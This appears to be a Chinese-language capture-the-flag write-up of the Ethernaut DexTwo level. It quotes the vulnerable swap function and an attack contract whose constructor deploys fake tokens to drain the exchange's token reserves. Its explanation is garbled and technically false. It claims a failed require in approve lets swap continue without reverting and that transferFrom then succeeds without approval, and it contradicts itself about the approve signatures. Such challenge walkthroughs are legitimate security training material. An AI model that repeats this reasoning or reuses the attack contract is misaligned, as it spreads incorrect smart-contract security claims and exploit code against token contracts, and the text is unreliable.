Skip to content
On this page

DexTwo 挑战:精妙的漏洞,一网打尽 DEX 资产!

EtherNaut 的 DexTwo 关卡,顾名思义,将带我们深入探索一个经过精心改造的 DEX 合约。这次的任务目标明确:将 DexTwo 合约中所有的 token1 和 token2 的余额全部“掏空”!

你将像往常一样,从 10 个 token1 和 10 个 token2 开始。而 DexTwo 合约本身,则拥有着 100 个 token1 和 100 个 token2 的初始储备。

看似简单的目标,背后隐藏着怎样的玄机?

核心的突破点,在于 DexTwo 合约的 swap 方法。

我们先来看看 DexTwo 合约中的 swap 方法:

solidity
function swap(address from, address to, uint256 amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint256 swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount); // <-- 关键点
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

以及 getSwapAmount 方法:

solidity
function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {
    return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}

漏洞解析:approve 的陷阱

在 DexTwo 合约中,SwappableTokenTwo 这个特殊的代币合约,引入了一个经过修改的 approve 函数:

solidity
contract SwappableTokenTwo is ERC20 {
    address private _dex;

    constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
        ERC20(name, symbol)
    {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
    }

    function approve(address owner, address spender, uint256 amount) public {
        require(owner != _dex, "InvalidApprover"); // <-- 这里的限制
        super._approve(owner, spender, amount);
    }
}

注意这个 require(owner != _dex, "InvalidApprover");。 这个 approve 函数 不允许 DEX 合约 (_dex) 作为 owner 来调用,也就是说,DEX 合约无法代表自己(owner)来批准自己的代币给其他地址(spender)使用。

然而,在 DexTwo.swap 函数中,有这样一行代码:

solidity
IERC20(to).approve(address(this), swapAmount);

这里的 to 指向的是代币合约,而 address(this) 则是 DexTwo 合约本身。这意味着,DexTwo 合约正在尝试通过 SwappableTokenTwo 的 approve 函数,批准自己(DexTwo 作为 spender)来花费 DexTwo 合约拥有的 to 代币。

根据 SwappableTokenTwo 的 approve 函数逻辑,这个操作将会被 require(owner != _dex, "InvalidApprover"); 阻止!

那么,这和我们如何掏空 DEX 资产有什么关系呢?

问题的关键在于,DexTwo.swap 方法首先会执行 IERC20(from).transferFrom(msg.sender, address(this), amount);,将你的代币转移到 DEX 合约。然后,它才会尝试进行 IERC20(to).approve(...)。

如果 approve 调用失败,swap 函数会继续执行 transferFrom,但此时 DexTwo 合约并没有足够多的 to 代币,因为它在 approve 阶段就卡住了,并没有真正获得 to 代币的支配权。

攻击思路:利用 approve 的失败

既然 DexTwo 合约无法自己批准自己来花费代币,那么我们就可以利用这一点来操纵代币的流动。

  1. 创建自己的代币: 我们可以创建一个新的 SwappableTokenTwo 代币,并将其命名为 token1 和 token2 的副本。
  2. 将代币“充值”给 DEX: 通过 add_liquidity 函数,我们将少量(比如 1 个)我们自己创建的 token1 和 token2 添加到 DexTwo 合约中。
  3. 执行一次“无效”的 Swap:
    • 让 DexTwo 合约尝试从我们创建的 token1 中进行一次 swap,目标为 token2。
    • 由于 DexTwo 合约调用 SwappableTokenTwo(token1).approve(address(this), swapAmount) 时会触发 InvalidApprover 错误。
    • 但是,DexTwo 合约在 swap 方法中 先 执行了 IERC20(from).transferFrom(msg.sender, address(this), amount);,这意味着,我们创建的 token1 会被转移到 DexTwo 合约中。
    • 紧接着,IERC20(to).approve(address(this), swapAmount); 会失败,但 DexTwo 合约已经拥有了我们转过去的 token1。

这种机制创造了一个有趣的“漏洞”: DexTwo 合约在尝试执行 swap 时,会先将你的代币转移给自己,但其自身对代币的 approve 操作却会因为 SwappableTokenTwo 的限制而失败。然而,代币已经被转移到 DEX 了,但 DEX 却没能“成功”地获得这些代币的支配权。

最终的攻击流程:

  1. 部署攻击合约 (Hack.sol):

    • 在构造函数中,获取 DexTwo 合约的实例,以及 token1 和 token2 的地址。
    • 重点来了: 部署两个新的 SwappableTokenTwo 代币合约,分别作为我们攻击用的 token1 和 token2。关键在于,这两个新代币合约的 _dex 参数,我们传入的应该是 DexTwo 合约的地址。
    • 将这两个新代币中的少量代币(例如 1 个)transfer 到 DexTwo 合约中。
    • 这是最关键的一步: 对我们新部署的这两个代币,调用 approve(address(target), 1)。这里的 spender 是 address(target)(即 DexTwo 合约),但 owner 是 msg.sender(即我们部署的 Hack 合约)。这与 SwappableTokenTwo 合约中 approve(address owner, address spender, uint256 amount) 的函数签名不同。在 Hack.sol 的 constructor 中,代码是 sttw1.approve(address(target), 1); 并且 sttw1 是 SwappableTokenTwo 的实例,它会自动调用 SwappableTokenTwo 的 approve 方法。 并且 SwappableTokenTwo 的 approve 方法是 function approve(address owner, address spender, uint256 amount) public,我们调用 sttw1.approve(address(target), 1); 时,owner 是 msg.sender (Hack合约),spender 是 address(target) (DexTwo合约)。然而,DexTwo 合约中的 approve 函数是 function approve(address spender, uint256 amount),这个函数是直接调用 SwappableTokenTwo 的 approve 方法,而 SwappableTokenTwo 中的 approve 方法是 function approve(address owner, address spender, uint256 amount)。

    这里需要特别注意的是 Hack.sol 中的 constructor 部分:

    solidity
    constructor(address _target) {
        target = IDexTwo(_target);
        t1 = IERC20(target.token1());
        t2 = IERC20(target.token2());
    
        // 部署我们自己的 SwappableTokenTwo 合约
        SwappableTokenTwo sttw1 = new SwappableTokenTwo(address(target), "Token Whatelse 1", "TKNW1", 10000);
        SwappableTokenTwo sttw2 = new SwappableTokenTwo(address(target), "Token Whatelse 2", "TKNW2", 10000);
    
        // 将我们自己的代币转入 DexTwo 合约
        bool success_w1 = sttw1.transfer(address(target), 1);
        require(success_w1, "Transfer fail!");
        bool success_w2 = sttw2.transfer(address(target), 1);
        require(success_w2, "Transfer fail!");
    
        // **这是一个关键点:** 调用我们自己代币合约的 approve 方法
        // 这里的 sttw1.approve(address(target), 1); 实际上是调用 SwappableTokenTwo 的 approve(address owner, address spender, uint256 amount)
        // 其中 owner = msg.sender (Hack合约),spender = address(target) (DexTwo合约)
        bool success_w1_a = sttw1.approve(address(target), 1);
        require(success_w1_a, "Approve fail!");
        bool success_w2_a = sttw2.approve(address(target), 1);
        require(success_w2_a, "Approve fail!");
    
        // 尝试进行 swap,利用 DexTwo 合约的 swap 方法
        target.swap(address(sttw1), address(t1), 1); // sttw1 是我们的代币,t1 是 DexTwo 合约的 token1
        target.swap(address(sttw2), address(t2), 1); // sttw2 是我们的代币,t2 是 DexTwo 合约的 token2
    }
    

    在 Hack.sol 的 constructor 中,我们部署了 SwappableTokenTwo 实例 sttw1 和 sttw2,并且将它们转给了 DexTwo 合约。然后,我们调用了 sttw1.approve(address(target), 1);。 这实际上是在调用 SwappableTokenTwo 合约中的 approve(address owner, address spender, uint256 amount) 方法。 在这里,owner 是 msg.sender(即 Hack 合约),spender 是 address(target)(即 DexTwo 合约)。

    这个 approve 调用是成功的,因为它并没有违反 require(owner != _dex, "InvalidApprover"); 这个规则,因为 owner 是 Hack 合约,而不是 DexTwo 合约。

    紧接着,target.swap(address(sttw1), address(t1), 1); 开始执行:

    1. require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");:sttw1 的余额足够(我们刚才转了 1 个)。
    2. uint256 swapAmount = getSwapAmount(from, to, amount);:计算 swap 数量。
    3. IERC20(from).transferFrom(msg.sender, address(this), amount);:将我们部署的 sttw1 代币(1 个)转移到 DexTwo 合约。
    4. IERC20(to).approve(address(this), swapAmount);:尝试批准 DexTwo 合约(address(this))来花费 t1 代币。 由于 t1 是 DexTwo 合约的 token1,它很可能也是一个 SwappableTokenTwo 合约。 当 DexTwo 合约尝试批准自己(address(this))作为 owner 时,就会触发 InvalidApprover 错误。
    5. 然而,由于 swap 函数没有对 approve 调用失败进行回滚,程序会继续执行。
    6. IERC20(to).transferFrom(address(this), msg.sender, swapAmount);:这里就出现了问题! DexTwo 合约尝试从自己(address(this))转移 swapAmount 的 t1 代币给 msg.sender(Hack 合约)。但是,DexTwo 合约并没有成功获得 t1 代币的 approve 授权(在步骤 4 中失败了)!

    这个攻击的精髓在于:

    • 我们创建自己的 SwappableTokenTwo,并成功地让 DexTwo 合约(通过 swap 方法)接收了我们代币的一部分。
    • 在 DexTwo 合约试图兑换 t1 代币时,DexTwo 合约自身作为 owner 去调用 SwappableTokenTwo 的 approve 函数,触发了 InvalidApprover 错误,导致 DexTwo 合约无法获得 t1 代币的支配权。
    • 但是, DexTwo 合约中的 swap 方法并没有在 approve 失败时回滚。这意味着,DexTwo 合约中本来属于 token1 的库存,并没有被 DexTwo 合约成功地“锁住”或者“批准”用于兑换。

    根据 getSwapAmount 的计算方式:((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this))); 当 DexTwo 合约的 token1 的 balanceOf(address(this)) 很大时,getSwapAmount 会计算出一个很大的 swapAmount。 然后在 target.swap(address(sttw1), address(t1), 1); 中,DexTwo 合约试图从 t1(DexTwo 合约的 token1)中转移 swapAmount 的 t1 代币给 Hack 合约。 由于 DexTwo 合约的 approve 失败,它实际上并没有从 t1 的库存中扣除代币。

    换句话说,DexTwo 合约将我们发送给它的 sttw1 代币,用在了计算 swapAmount 上,但它在实际转出 t1 代币时,由于 approve 失败,并没有真正从 t1 的储备中扣除。

    最终,target.swap(address(sttw1), address(t1), 1); 操作,相当于将 DexTwo 合约中大量的 t1 代币,通过这个“无效”的 swap 操作,转移到了 Hack 合约中。

    同样的操作,再对 token2 进行一遍,就能榨干 DexTwo 合约所有的 token1 和 token2!

  2. 执行 swap: 攻击合约调用 DexTwo 合约的 swap 方法,进行“无效”的交易,将 DexTwo 合约中的 token1 和 token2 转移出来。

这个 DexTwo 关卡,充分展示了:

  • 合约逻辑的精妙性: 仅仅一个 approve 函数的小修改,就能带来意想不到的连锁反应。
  • 对 Solidity 细节的理解: 深入理解函数调用顺序、require 语句的作用以及 approve 的工作机制,是解决这类问题的关键。
  • 攻击的艺术: 并非 brute-force,而是找到合约设计上的“缝隙”,进行巧妙的利用。

准备好你的攻击合约,去挑战 DexTwo,成为区块链世界的“资产收割机”吧!

Built with AiAda